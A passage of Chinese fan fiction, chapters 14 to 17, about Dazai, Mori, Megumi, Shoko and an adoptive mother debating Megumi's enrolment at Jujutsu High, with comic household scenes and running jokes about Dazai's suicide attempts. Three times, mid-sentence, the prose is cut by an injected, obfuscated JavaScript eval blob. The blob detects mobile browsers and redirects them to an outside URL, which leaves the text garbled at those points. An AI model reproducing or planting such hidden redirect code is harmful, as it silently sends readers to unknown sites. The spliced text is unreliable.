爱丽丝扭头:“我不!我就要淡岛夫人抱!” 淡岛青理无奈地把她抱了起来。 伏黑惠怀里抱着莉帕,淡岛青理哄着爱丽丝,于是森鸥外理所当然地走到了太宰治身边。 “又见面了,太宰君。” 太宰治吃着一盒蟹肉罐头,嘴里含糊不清地说:“阴魂不散呢,森先生。” 森鸥外笑了笑:“我的邀请,太宰君考虑得怎么样了?” 太宰治看了一眼前面正在和爱丽丝说话的女人,漫不经心地说:“当面拐带小孩吗?小心淡岛夫人报警抓你哦。” 森鸥外说:“怎么能说拐带呢?太宰君也并不算淡岛夫人的家人不是吗?” 太宰治脸上的笑容慢慢消失了。 森鸥外:“抱歉抱歉,我并没有挑拨的意思。只是太宰君应该也感觉到了吧?你们不是一类人。” “她很幸福,也很幸运,甚至比这世上绝大多数人都要幸运。”美满的家庭,平淡幸福的生活,温柔又包容的性格,她拥有每一个普通人都羡慕的人生。 “太宰君,”森鸥外注视着他的眼睛,“这样的人怎么会懂你想要的是什么呢?太过幸福的人往往是无知的,他们看不到这个世界的真相,也理解不了你的痛苦和追求。” “难道森先生你懂吗?” 森鸥外面带蛊惑:“当然。太宰君,我们才是一类人。” 狡猾的骗子,太宰治心里这么评价道。一类人?这是他听过的最好笑的词语。 仍然对这个虚假的世界抱有期望的人,怎么会同他是一类人呢?无非也是想要利用他来达成某种目的罢了。 不过,至少有一点他无法反驳。 望着前方温声交谈越走越远的几人,太宰治感觉到似乎有一道透明的屏障隔在了他们中间,前方的身影渐渐模糊,甚至连被风吹来的说话声都消失不见。 微长刘海掩盖下的鸢色眼眸逐渐灰暗,他感觉脚步变得沉重,步伐逐渐缓慢下来。 那天的风很暖,樱花很绚烂,所以才会鬼迷心窍地留了下来。但他不会停留太久,总有一天他会离开的。 所以……为什么不能是现在呢? 14. 第 14 章 这些天的经历就像一场幻梦,仔细回忆,脑海中的画面就像玻璃纸上的彩绘,带着朦胧的色彩,却那么易碎。 或许他只是不小心踏进了一条不属于他的河流,而现在到了梦醒的时候。 少年的睫毛颤了颤,缓缓开口:“我……” “啊——!”爱丽丝的一声痛呼打断了太宰治还未说出口的话语。 原来是莉帕不知从哪掏出来一个玻璃球,狠狠地砸在了爱丽丝的额头上。 “莉帕?”伏黑惠停下脚步,微微睁大了双眼。 他刚刚正在单手回复五条先生的消息,所以没注意到怀里女孩的动作。等他察觉到动静的时候,莉帕已经掏出玻璃球开始瞄准了。他只是稍稍惊讶了一下,莉帕手里的玻璃球就已经扔出去了,根本没来得及阻止。 虽然不知道发生了什么,但伏黑惠觉得是对方的问题。 莉帕是个很成熟稳重的孩子,在太宰治来家里之前,莉帕从来没有发过脾气。就算现在经常因为太宰的嘴贱和他打成一团,莉帕也很有分寸,从来不会下重手。 那边淡岛青理手忙脚乱地把爱丽丝放下来,担心地检查她的额头:“爱丽丝你没事吧?疼不疼?对不起对不起,莉帕她不是故意的。”她一边说着每个父母都会说的开脱辞,一边抚摸女孩被砸的地方。 爱丽丝哇的一声大哭起来,甩开她的手把脸埋进了森鸥外怀里。 森鸥外心疼坏了,急忙哄道:“爱丽丝酱,别哭别哭,让爸爸看看?天啊,都起包了!” 淡岛青理连忙鞠躬道歉:“对不起,我真的没想到莉帕这么讨厌爱丽丝,真是抱歉!我不该抱爱丽丝的,莉帕一定是生气了。” 森鸥外能说什么呢? 他遗憾且内疚地说:“是我的错,我不该强行让莉帕小姐和爱丽丝交朋友的。看来莉帕小姐真的很不喜欢爱丽丝。” 两个成年人互相虚伪地揽着责任,场面一度非常和谐。 太宰治看得无聊,情绪被打断的他移动视线,对上了莉帕金色的眼眸,对方毫不客气地给了他一个白眼。 太宰治眨眨眼。啊,又被讨厌了。 淡岛青理看着还在哭泣的爱丽丝,提醒道:“森医生还是先带爱丽丝回去检查一下伤口吧,爱丽丝好像很痛的样子。” 伏黑惠想,能不痛吗?莉帕那一下可是抡圆了胳膊扔的。 森鸥外牵着爱丽丝的手,充满歉意地说:“我们确实应该离开了,看来今天是无缘和淡岛夫人一起赏樱了。真是抱歉,破坏了莉帕小姐的好心情。” 森鸥外牵着爱丽丝离开了,莉帕也挣扎着从伏黑惠的怀里跳了下来。 是的,她就是故意的,那又怎样?带个伪人萝莉的变态医生还想挖她家青理的墙角?想得美!先说好,虽然她不喜欢太宰治,但只有青理不要的,没有别人来抢的道理! 她跑到淡岛青理身边,拉过她的手一个劲地拍打,边拍边说:“脏了,你脏了!快点去洗手,快点去!” 青理刚刚抱了那个伪人,青理脏了! “哎?”淡岛青理被推着走到了一处小喷泉,一脸无奈地洗了个手。 莉帕仍不满意,还想让她回家洗个澡。 “可是那样就来不及赏樱了。” 在淡岛青理和伏黑惠两人的联合劝说下,莉帕终于作罢。 尽管这个早晨发生了很多事,好在最后,四人还是抵达了公园,如愿地看到了樱花林。 层层叠叠的樱花像堆积在天空中的粉色云朵,又像起起伏伏的粉色浪花,浪漫又美丽。 风吹过,花瓣翩翩起舞,绚烂且美好。几人在樱花树下度过了一个快乐的周末,给这个三月画上了一个完美的句号。 —————— 步入四月,似乎大家的生活一下子就忙碌了起来。 隔壁的松本小姐就曾抱怨,白日渐长,店长调整了闭店时间,工作又变多了。 不过这些忙碌的人里是不包含淡岛青理的,毕竟她没有工作,家里又有伏黑惠打理,她整日无所事事。 相比之下,太宰治似乎要忙得多了。 他忙着外出闲逛,外出自杀,外出失踪,外出自杀,外出自杀,外出自杀…… 伏黑惠在料理家务和捞太宰治之间来回奔走,甚至失去了吐槽的欲望,显得更加沉稳了。 好在太宰治虽然作妖,但也识时务得很。在伏黑惠当着他的面一拳锤爆了他的卧室门后,他今天一整天都乖乖地窝在家里,哪儿也没去。 家入硝子就是在这个时候到的。 她从东京赶过来探望淡岛一家,没想到一进门就是一个大“惊喜”。 她曾经看诊过的那个少年已经好得差不多了,但不仅没有离开,还大有在这里安家之势。 趁着淡岛青理在厨房准备水果,太宰治跟在厨房里捣乱,家入硝子把伏黑惠拉到了一边。 “出什么事了吗?家入小姐?”面对家入硝子做贼一般的作态,伏黑惠有些不解。他不放心地回头,频频望向厨房方向。 虽然只是让淡岛夫人洗个水果,应该不会出现什么问题,但是“淡岛夫人”和“厨房”这两个词放在一起就足以触发他的警报了。 家入硝子眉头微皱:“那家伙怎么回事,为什么就留下来了?” 本以为是一次普通的救助,像之前很多被淡岛青理带回来的孩子一样,治好之后就会离开。没想到一进门,发现客厅里甚至都有了他的专属座位。 伏黑惠顶着黑眼圈,疲惫但不失礼貌地回答:“可能是因为他无处可去,而且淡岛夫人很喜欢他。” 如果那家伙有地方可以去,他一定亲自连夜将他送回去。这个家需要他操心的地方已经够多了。 家入硝子拿出根烟叼在嘴里,没有点燃。她身体微微向后,靠进了一团柔软中。 那是淡岛青理亲自给她缝制的靠枕,形状奇丑,每次她来都会给她放在沙发上,只是因为她曾经抱怨过一次工作很累,为此女人手上不知多了多少个血点。 莉帕正在客厅的另一侧堆积木,偶尔会发出积木倒塌的哗啦声。 家入硝子按了按眉心,斟酌着开口:“不能让他留下来,我可以帮忙联系最好的儿童福利中心收留他。” 为什么?伏黑惠疑惑,还有些惊讶。 虽然家入小姐表现得不是很平易近人,丧气的脸上经常挂着黑眼圈,一副对整个世界都爱答不理的样子。但事实上她是一个很好的人,只是并不擅长表达善意。 而且她和太宰目前只见过两面,伏黑惠想不出来她抗拒太宰的理由。 家入硝子明白他的疑惑,只是一时半会儿想不出来该如何解释。 “……我的反转术式对他身上的伤没用。” 伏黑惠:“什么?” 原谅他并不是没有听清,只是没有明白。 家入小姐能凭借一手反转术式成为咒术界的珍稀人物,可见她的术式有多强大。连断肢都能治愈再生的术式,怎么会对普通的伤口没用呢? 家入硝子:“更确 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15740213|174133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 切地说,在触碰到他的瞬间,我就没办法发动术式了。”体内的咒力像石沉大海,没有半点回应。 收到淡岛青理的求助时,她并没有预料到之后的状况。 淡岛夫人是个心地善良的人,她很久之前就知道了。无论是当年她对高专三人组的包容,还是后来她收养了伏黑兄妹,都能看出她的温柔。 这些年来,淡岛夫人也经常救助因各种不明原因受伤的人,家入硝子为了帮她减轻负担也会为这些人治疗。所以再一次出现在淡岛家,面对那个昏迷不醒的少年,她第一反应是先暗地里用术式为少年减轻一部分伤势。 可想而知,当她发现她引以为傲的术式突然熄火不能发动时,是有一瞬间慌张的。但很快她就意识到问题不是出在她身上,而是那个躺在榻榻米上的少年。 她没有声张,因为根据她对淡岛夫人的了解,这个少年伤好之后很快就会被送离。只要过些时日就好,没必要节外生枝。 所以当她再次在淡岛家看到那个少年时,她才那么意外。 伏黑惠听了她的解释,脑海里立刻就回想起了不久前的那个傍晚——突然消失再无踪迹的咒灵,和月光下低垂着眼查看手心的少年。 “怎么可能?!难道说——!” “怎么了,惠酱?” 淡岛青理从厨房探出头来。 听到她的声音,伏黑惠冷静了几分。他按捺住心中的震惊,尽量维持着镇定回答她:“没事,我们在讨论五条先生。” 合理了呢。 想想悟平时把惠烦到炸毛的场景,淡岛青理似乎一下子就信了,缩回厨房继续切水果。 伏黑惠松了口气,目光却在不经意间对上了一只鸢色的眼睛。 少年站在厨房的门后,半张脸隐藏在阴影下,眸色暗沉,表情似笑非笑。 他的身体骤然紧绷,只觉得在那一瞬间,这个相处了许久的少年突然变得分外陌生。 好在少年很快移开了目光。 听着厨房里又传来女子制止少年用洗涤剂洗桃子的声音,他缓缓放松紧绷的神经,才发现背在身后的手不知何时已经摆出了脱兔的手势。 家入硝子旁观了两人的对视,叼着未点燃的烟,吐了口空气:“那个少年不能留在这里。无论他自身是否具有危险性,他诡异的能力也注定会带来意外。” 她其实并不是怀疑太宰治,只是如果少年的这份能力被咒术界高层知道了的话…… 她所顾虑的,伏黑惠也想到了。他握了握拳,没有说话。 家入硝子:“淡岛夫人只是一个普通人,她什么都不知道。如果他的能力被人知晓,那麻烦必将接踵而至。不只是诅咒师,高层的那些人也不会放过他的。而淡岛夫人甚至连咒灵的存在都不知道,也没有任何保护自己的手段,你要把这个麻烦留在她身边吗?” 伏黑惠的睫毛颤动了几下。 脑海里一个声音逐渐清晰,挥之不去。 [没错,他的存在就代表着危险,他所在之处就会是漩涡中心,你真的要让他留在她身边吗?] [别忘了,她那么脆弱,不只是咒灵,普通人类也可能会杀死她,你还要将她置于更危险的境地吗?] [你难道忘了吗?她曾经差点死掉,因为你,因为咒术界……] 咒术界…… “……可我不也留在这里了吗?” 伏黑惠没有抬头,长长的下垂的睫毛遮住了他的眼瞳,让硝子看不清他的神色。 “我也是麻烦,不是吗?” 15.第 15 章 “我也是麻烦,不是吗?” “你……”硝子瞪大了眼睛看着他。 黑发的少年没有回应她的目光,单薄的身影透着一丝执拗。 家入硝子感觉自己说错话了,把烟拿下来夹在手里说:“我不是那个意思……你……” 二人无言了一会儿,直到厨房传来淡岛青理的声音。 “太宰君,把这些水果端到客厅吧。” 家入硝子抓了一把自己的头发,将烟扔进垃圾桶,还用碎纸片盖了盖,“算了,随你怎么处理吧。我回头把这件事告诉五条,让他多留意一下。” 她话音刚落,太宰治就端着盘子从厨房里走了出来。 “哎,好累啊。”他将果盘放在家入硝子手边,瘫倒在沙发上。 伏黑惠:……端个盘子还真是辛苦你了。 淡岛青理也从厨房走了出来,“硝子今天难得有空呢,工作不忙吗?” 虽然硝子经常来看她,但每次都是来去匆匆。硝子的工作,似乎没有假期呢。 “……呃,算是吧。”把刚刚讨论的事情先放一边,家入硝子张了张嘴,对上淡岛青理弯月一般的眼睛,根本没法开口说出来意。 啧,五条悟那个混蛋真是有够鸡贼的,竟然主动说要带着学生出任务跑去了国外,把惠入学的事情丢给她。为此甚至不惜大揽任务,减小其余咒术师受伤的概率,以此换她离开咒高的机会。 看看淡岛夫人温柔的笑脸,怎么样的人才能毫无顾忌地告诉她‘你儿子要去一个鸟不拉屎的地方读高专’啊! 家入硝子感觉自己就像要拐走人家宝贝闺女的鬼火黄毛,内心无比的心虚。 “那个,其实我是有事情想要和你商量。” 作为伏黑甚尔的独子,禅院家唯一继承了十影法的人,伏黑惠是天生的咒术师。在咒术界,被发掘出咒术潜质的人往往会被送到咒术高专进行学习和训练,不断地学习如何祓除咒灵,御三家的成员更是如此。 尽管伏黑惠如今已经和禅院家没有了关系,但他作为咒术师的潜质实在是无与伦比。不管是五条悟还是家入硝子都希望他能进入高专学习,这也是为了让他能更好地掌控自己的能力。 “我知道惠选择学校的事情还没有定下来,所以来给你提供一个建议,有没有考虑过让惠去上咒术高专呢?” 在她的话说到一半的时候伏黑惠就听出了她的意图并试图阻拦:“等一下家入小姐,我说过这件事……” 淡岛青理眨眨眼睛:“咒术……高专?”她表现得对这个名字很陌生。 瘫在沙发上的太宰治没有睁眼,但耳朵动了动,明显对她们的谈话很感兴趣。 “东京都立咒术高等专门学校,是一所宗教性质的学校,”家入硝子抓了一下头发,“我知道这听起来不太正经,但确确实实是由日本地方政府建设的公立学校。” “啊……”淡岛青理的大脑似乎还没能处理完接收到的信息,显得有些迟钝,“可是……惠酱对宗教感兴趣吗?” 在淡岛青理的注视下,伏黑惠握紧掌心,僵硬地点点头。 “哎?”太宰治从沙发上翻身坐起,拖长了声音表示来了兴致。 “伏黑君竟然对宗教感兴趣,真的假的?伏黑君看上去像是会在校外暴打小朋友的不良呢,竟然要去读宗教学校吗?伏黑君不会是想要学习如何给对手诵经超度吧?”他难得地说了好长一段话,看得出他是真的很好奇。 莉帕也从客厅另一头抱着兔子玩偶跑了过来,金色的双眼紧紧盯着伏黑惠。 感受到全家人的目光都聚集在自己身上,伏黑哥难得地感觉到汗流浃背了。 “嗯……因为了解到了一些宗教方面的文化,有些感兴趣。”他抬手揉了揉眉心,接着说,“但是我并不准备去那里上学。” 淡岛青理疑惑:“嗯?我还以为你已经和硝子商量好了……” “这就是我要和你谈的事情了,”家入硝子无奈地叹了口气,“这所学校无疑是非常适合惠的,惠自己也很心仪,但是因为一些原因,他拒绝入学。” 淡岛青理的大脑总算结束过载状态重新开始运转了,她面向伏黑惠,认真询问:“惠很喜欢这所学校吗?” 家入硝子替伏黑惠回答:“惠在这方面很有天赋,不能浪费他的……” “硝子,”淡岛青理打断了她的话,语气温柔却不容反驳,“天赋不是义务,没有谁生来就必须做什么。” 家入硝子闻言怔愣许久,最后慢慢放低了声音:“抱歉……” 伏黑惠看了看低着头的家入硝子,出声解围:“相对来说,我确实比较喜欢这所学校。但选择学校要从很多方面考虑,我不会入学咒术高专的。” 听到伏黑惠表态的淡岛青理重新放缓了语调:“所以惠是因为什么拒绝入学呢?如果是觉得我会反对,那不必担心哦,我可不是什么古板的大家长。”某人表面上看起来温柔大方,实则在心里咬碎了一口银牙。 伏黑惠和她对上视线,然后默默移开了眼,闭口不言。 伏黑惠没有再开口的意思,淡岛青理也没有强求,她笑着问硝子:“硝子怎么想到推荐惠去那里上学呢?” 见她面色如常似乎并没有为之前的话生气,家入硝子也平复了心情,把五条悟拎了出来:“五条那家伙就是在东京咒术高专工作,也是他跟惠提出了入学邀请。他可以做证学校各方面条件都还是很不错的,嗯……除了地理位置偏远了一些。” 为了撇清关系,她很狡猾地没说自己也在东京咒术高专工作。 听到这里,淡岛青理灰色的眼瞳不太明显地亮了一下,“惠不想去的原因,是觉得离家太远了吗?”她就知道!小狗离开妈妈是活不了的! 淡岛青理搬过很多次家,还在埼玉县的时候,她的家离惠和津美纪的小学很近;后来二人上了国中,她就搬到了国中附近;之后搬到东京,津美纪进入帝丹高中就读,惠也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15745025|174133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转学到了帝丹国中,从学校到家的距离仍然不超过两条街。算起来,惠还从来没有离家远走过。 被点明了心思的伏黑惠身形僵硬,幅度极小地点了一下头。 “噗噗——”太宰治发出毫不掩饰的嘲笑声,“伏黑君是还没断奶的小狗吗?离家太远就要害怕地找妈妈?被欺负了不会半夜抱着被子偷偷哭吧?” 听到少年毫不客气的发言,家入硝子突然感觉到一阵恶寒,默不作声地挪远了一些。 怎么回事?为什么脑海中突然出现了五条悟的身影? 伏黑惠皱眉啧了一声,小声说:“不全是这个原因。” 他确实是想过要入学咒术高专的,不仅仅是为了掌握自己的能力,还是为了更好地接触咒术界,获得更多的情报信息。 但他想要入学的意愿也没有那么强烈。 他不是什么正义感爆棚的少年漫主角,也没有想要拯救天下的大义,他所做的一切都只是为了保护这个家。 所以当得知进入咒术高专就要离家的时候,他拒绝了。不是因为害怕远行,而是如果他走了,他的家人该怎么办? 津美纪已经离家在外,如果他再离开,谁来照顾淡岛夫人?是一天到晚不着家沉迷自杀的太宰,还是刚上小学一年级人没桌子高的莉帕? 如果指望淡岛夫人反过来照顾两个孩子,那更是异想天开,她连自己都照顾不好。 伏黑惠仍然记得,很多年前他和津美纪第一次踏入淡岛夫人家中的时候,那满地书籍纸张乱得无处下脚的景象。 在两人的成长过程中,淡岛夫人更是主打一个陪伴,曾有入学报到时把他和津美纪送错学校的辉煌战绩,更有在洗校服时倒入一整袋洗衣粉的惊人壮举——那天放学回来的小惠站在洗衣房的玻璃门前,看着里面堆到屋顶的泡泡,被硬控了十分钟。 总而言之,他不太能想象家里只有淡岛青理、太宰治、莉帕会变成什么样。 不知道自己被惠打上不靠谱标签的淡岛青理面色忧郁:“嗯……惠好像确实没有离家过。这么说来我也有些担心,没有我的照顾,惠可怎么办啊?” 伏黑惠:“……” 善良如家入硝子也哽住了:“……倒也不必担心这个。” 为了打消她没有必要的顾虑,家入硝子说:“其实我、五条还有夏油当初都是在东京咒术高专就读。现在五条在高专当老师,如果惠入学,他就会是惠的班主任,他会照顾好惠的。” 淡岛青理听后,想了想说:“悟的话,总觉得不太可靠呢。” 家入硝子:…… 五条悟的名声已经烂到这种地步了吗?! 在她替五条悟反思期间,淡岛青理扑哧笑了一下:“开玩笑的啦,我当然相信悟了。说起来,杰去了哪里?他好久没有来看过我了。” “……” 气氛突然变得僵硬。 家入硝子动了动手指,不知道该怎么回避这个话题。 16.第 16 章 气氛突然变得僵硬。 家入硝子动了动手指,不知道该怎么回避这个话题。 好在淡岛青理并没有为难她。 “好吧……不说就算了,我就知道你们一个个都有事情瞒着我。”淡岛青理有些惆怅地叹了口气。 “这样吧,入学的事情我会再和惠商量的,之后电话给你答复怎么样?” 家入硝子自然是同意的。 其实她明白一些伏黑惠的顾虑,但感觉他太过紧张淡岛夫人了,很多担心其实很多余。 或许曾经的淡岛夫人是不太稳重,但那已经是许多年前的事情,现在的她已经改变了很多。她会做一些简单的饭菜,也能打扫卫生整理衣物,她其实能把自己照顾得很好。 只是因为曾经发生过的那件事情,惠和津美纪一直对淡岛夫人有着过度的担心。他们看不见淡岛夫人的成长,在他们眼中,淡岛夫人仍然是那个会把鸡蛋放进微波炉,把羽绒服扔进洗衣机,南北不辨五谷不分,四体虽勤但不如不勤的生活笨蛋。 ——所以他们一直把淡岛夫人当成易碎的瓷器来照顾。 家入硝子曾经以为这种心态只会出现在溺爱孩子的家长身上。 从津美纪的表现来看,她已经从逐渐那件事情的阴影里走了出来,放心地留在了米花。 但伏黑惠还没有。 “说起来,如果惠去了咒术高专上学的话,那他和津美纪还有莉帕的学校就都在东京了,这显得我从东京搬走的行为很傻哎。”淡岛青理有些悲伤。 之前他们在东京的米花町居住了一段时间,伏黑津美纪和莉帕都在帝丹上学。 得益于如今交通系统的发达,从横滨到米花町去上学也不算太远,莉帕不介意浪费这四十多分钟。但是津美纪因为有在波洛咖啡厅兼职,所以不太能接受每日如此长时间的通勤,因此借住在了的工藤宅。 想到津美纪,淡岛清理更加委屈了:“明明我有给津美纪很多零花钱,为什么还要去打工呢?离我好远……” 虽然能够理解津美纪想要为家庭出力的心意,但是啊,只有小长假才能回来也太痛苦了,她平日里都只能透过监控看津美纪啊! “津美纪是好孩子,”莉帕抱着玩具为津美纪说话,“比某些白吃白喝还什么活都不干的家伙好多了。” 仿佛被点名的太宰治:? 他气呼呼地道:“哪里有白吃白喝!我还有给你们切水果!” 只见桌上的水果已经在几人的谈话间被他切得七零八落,现在的他正拿着水果刀在自己手腕上比划。 莉帕抱着兔子玩偶冲过去给了他一个头槌,顺手把刀从他手中拍落,“不要用切食物的刀搞自杀啊!这样以后还怎么切水果!” 太宰治不服,两人很快扭打成了一团。 家入硝子看了看打闹的两人,轻笑了一下,表情不自觉地放松几分。 似乎不得不承认,让这个少年留下来也是有一些好处的。 如果惠成功入学高专,那他之后就会住在宿舍,那样白天莉帕去上学之后,家里就只有淡岛夫人一个人了。留下这个少年,或许也能和淡岛夫人做个伴。 但是,如何保障淡岛夫人的安全仍然是一个问题。 ……真是的,五条悟那个家伙关键时刻能不能有点用啊。 家入硝子心中骂了同期两句,顺手从果盘中拿了一块桃子送进嘴里,一股咸涩的味道直冲大脑。 “呸呸呸呸呸!” 她把桃子吐进垃圾桶,不可置信地看了一眼果盘里剩下的桃子。 伏黑惠沉默了一下,从太宰治身后的沙发缝隙里摸出来一个空了的盐罐。 家入硝子/伏黑惠:还是再重新考虑一下吧! —————— 在家入硝子走后,淡岛青理把自己关在书房里一个人待了好久,直到太阳西斜才眼眶红红地从里面走出来,身后还跟着不知什么时候进去书房的莉帕。 半小时后淡岛青理面色如常地敲响了伏黑惠卧室的房门。 在与伏黑惠交谈过一个小时后,淡岛青理终于得知了伏黑惠不愿入学的真正原因。 “什,什么?!”淡岛青理捂住自己的胸口跪倒在地,灰色的眼瞳中盛满不可置信。 惠竟然是因为觉得她自己活不了才不去东京上学的?这怎么可能?! 她在惠心中的形象怎么可能是这样的?!她不应该是温柔坚毅英明神武的吗?!怎么可能是一个生活白痴?! “我知道了,惠,你一定是觉得放心不下莉帕对不对?”她抬头,充满希冀地问。 “是放心不下你。”既然已经说出口也就没什么不好意思的了,伏黑惠口齿清晰地再次重复。 淡岛青理眸光骤然一暗,颓然倒地:“可恶,明明我那么努力……我到底哪里做得不好?” 怎么会这样?难道她不是惠和津美纪的依靠吗?难道她不是这个家的顶梁柱吗? 明明她熟读《家长教育学》,在惠和津美纪的成长过程中起到了不可或缺的重大作用,为两人的身心健康发展做出了巨大贡献!她难道不应该是惠和津美纪的榜样吗?! 她这个妈妈明明当得特别好! 伏黑惠:“你是指用熨斗给津美纪的裙子烫了两个大洞,给津美纪的便当里带了一条将配菜吃光的鱼,还是送我上学把我忘在家里自己去了学校?” 他停顿两秒,补充道:“你还锁了门。” 淡岛青理:“……” 汗流浃背了家人们。 她弱弱地反驳:“那都是很久之前的事情了,当时我刚收养你们,我之前又没有养孩子的经验,犯些错误也是正常的……” 卧室门再次被打开,莉帕抱着兔子玩偶从门缝里挤了进来,缩在角落里旁听。 “我走后你们的一日三餐怎么办?你根本不会做饭,你炸的天妇罗硬的能砸死一条狗。”想起那一口崩掉了他一颗乳牙的天妇罗,伏黑惠眼神微死。 淡岛青理的脊背又弯了几分:“那,那只是意外,我现在已经完全掌握下厨这一项技艺了!而且至少,至少那只天妇罗帮你换牙了不是吗……” “‘完全掌握厨艺’是指前几天把太宰吃进医院的蘑菇寿司吗?”伏黑惠扶额。 那天他再三检查食物,还是出现了一个伪装得过份成功的漏网之鱼。那颗没熟的蘑菇寿司以完美的形态混进了他准备的寿司里,并且被太宰治倒霉地吃了下去。 伏黑惠叹了口气:“你的厨艺确实不减当年。” 淡岛夫人只在收养他们之后最初的两个月里给他们做过饭,然后两个月食物中毒的三次的两人就将她从厨房驱逐了出去。 有时候真怀疑淡岛夫人热衷下厨是因为享受投毒的快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15752698|174133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感。 淡岛青理据理力争,试图让伏黑惠明白他那都是很多年前的刻板印象,现在的她已经不是从前的她了! “那个寿司是意外,都怪惠你回来得太快了,我的蘑菇没有炒熟才会有毒的,不然肯定没问题!” 但无论她如何辩解,她留在伏黑惠心中的“厨房杀手”与“生活白痴”的形象都根深蒂固。 究其原因,是这些年来淡岛青理真的什么都没做过!家中的大小事务都是津美纪和伏黑惠在料理,她嘴皮子上下一碰,任何事情都会有人替她办好! 所以现在的情况完全是淡岛青理偷懒的福报:) 旁听良久的莉帕终于开口了,她睁着无神的死鱼眼,平静地道破真相:“你和津美纪太娇惯她了,她已经不是小孩子了,早该学会这些事情,她只是在偷懒而已。” 还在米花的时候,莉帕就感觉到了伏黑姐弟的不对劲。他们几乎把淡岛青理当成实验室里的菌丝一样照顾,生怕她一个心情不好就嘎嘣死掉。 但是据淡岛青理所说,那已经是弱化后的表现,再早些时候两人甚至恨不得把饭喂到她嘴里。 莉帕询问过原因,结果青理那个家伙眼睛一弯,毫不在意地笑着说——我不知道啊!不知道也没关系吧?这样不是挺好的吗?证明他们喜欢我这个妈妈啊! 淡岛青理就是个没心没肺的混蛋。莉帕一直深知这一点。 逐渐了解过淡岛青理这些年的经历之后,她对伏黑姐弟的心理状况有了一些合理的猜测。 在两人中间,更为坚毅的竟然是看起来更柔弱的津美纪,可能是因为远离了噩梦所在地,搬到米花后她渐渐从那种创伤心态中走了出来——在没有任何外界开导的情况下。而伏黑惠直到现在还没能完全同自己和解。 “你现在就像那个溺爱孩子的家长,你越是什么都不让她做,她就越什么都不会做,你难道要一辈子都守着她吗?”莉帕恨不得抓着伏黑惠的肩膀摇晃让他清醒一点。 什么啊,在青理溺爱太宰的时候摆出那副欲言又止的态度,结果你自己也没好到哪里去啊! 伏黑惠皱了一下眉头:“可是……”他想反驳莉帕的话,搜肠刮肚之后却发现没有办法反驳。 伏黑惠并不是一个不讲道理一意孤行钻牛角尖的人,有些事情被点明了,他自然能想通。只是有时候明白道理是一回事,做起来又是另外一回事。 ——也许淡岛夫人真的不需要保护。 仅仅是产生了这个念头,他就觉得身上突然开始阵阵幻痛,似乎有火舌舔舐他的皮肤。周围升起了翻腾的火焰,尖叫声和兴奋的呼喊声从四面八方涌来,滚滚浓烟窜入他的鼻腔,挤占肺部的氧气,让他几乎不能呼吸。 “好了,别想了。”莉帕见他表情不对,立刻出声制止。 莉帕拿起一杯水,怼了怼状况外的淡岛青理,示意她把水递给伏黑惠。 虽然不知道为什么,但淡岛青理还是瞪着一双清澈的眼睛乖乖照做了。 伏黑惠喝了水后呼吸顺畅许多,但脸色并没有好起来。 也许确实是他做错了,或许就是因为他的存在淡岛夫人才没办法成长。他是不是管得太多了?是不是没有他的话,淡岛夫人其实能过得更好…… “这样吧,让青理证明一下自己好了,就从今天的晚饭开始。”莉帕挥挥手,一锤定音。 17.第 17 章 晚饭,餐桌边,伏黑惠一头黑发炸起,目光警惕,如临大敌。旁边的太宰治两眼冒光,跃跃欲试。 “这是……什么?”伏黑惠艰难地发问。 桌子的正中央,黑色砂锅中的不明菜品正在发出咕噜咕噜的气泡声,介于固体与液体之间的材质让它随着气泡艰难地翻涌。食物整体呈现一种桑葚吃多了一般的乌紫色,但在滚动过程中还能看到橙色绿色的颗粒在其中若隐若现。热腾腾的蒸汽从砂锅中飘出,像海怪伸长的触手飘向在座的每一个人。 伏黑惠不由得向后仰头,握着勺子的手微微颤抖。 “是魔药吧?一定是传说中的魔药!”太宰治双眼中冒出小星星,一脸激动,“呐呐,吃下去会立刻死亡吗?” 坐在桌子对面的女人维持着得体的微笑,温柔地说:“太失礼了,太宰君,这是我做的咖喱牛肉。” “……” 啊? 莉帕嘴唇动了动,试图理清这道菜呈现如此品相的原因:“为什么咖喱牛肉会是紫色的?” “因为我看有人会在咖喱里面放圆白菜,所以我也想放一点。不过家里没有圆白菜了,我就放了紫甘蓝。” ……你是放了多少才会是这个颜色啊!!! “那橙色的是什么?” “胡萝卜!这是咖喱的标配!就是煮之前忘记放了,煮熟之后才放进去,应该差不多吧?” “绿色的呢?” “是葱花,我看中华美食节目里都喜欢在菜品上面放些葱花点缀,所以我也放了一些。” “……” 采访结束,这锅咖喱牛肉此身从此分明了! 也就是说,虽然颜色卖相古怪了一点,但这确实是一锅咖喱牛肉,并没有任何不明成分……话说谁用砂锅做咖喱啊?! 能吃的吧?应该是能吃的吧? 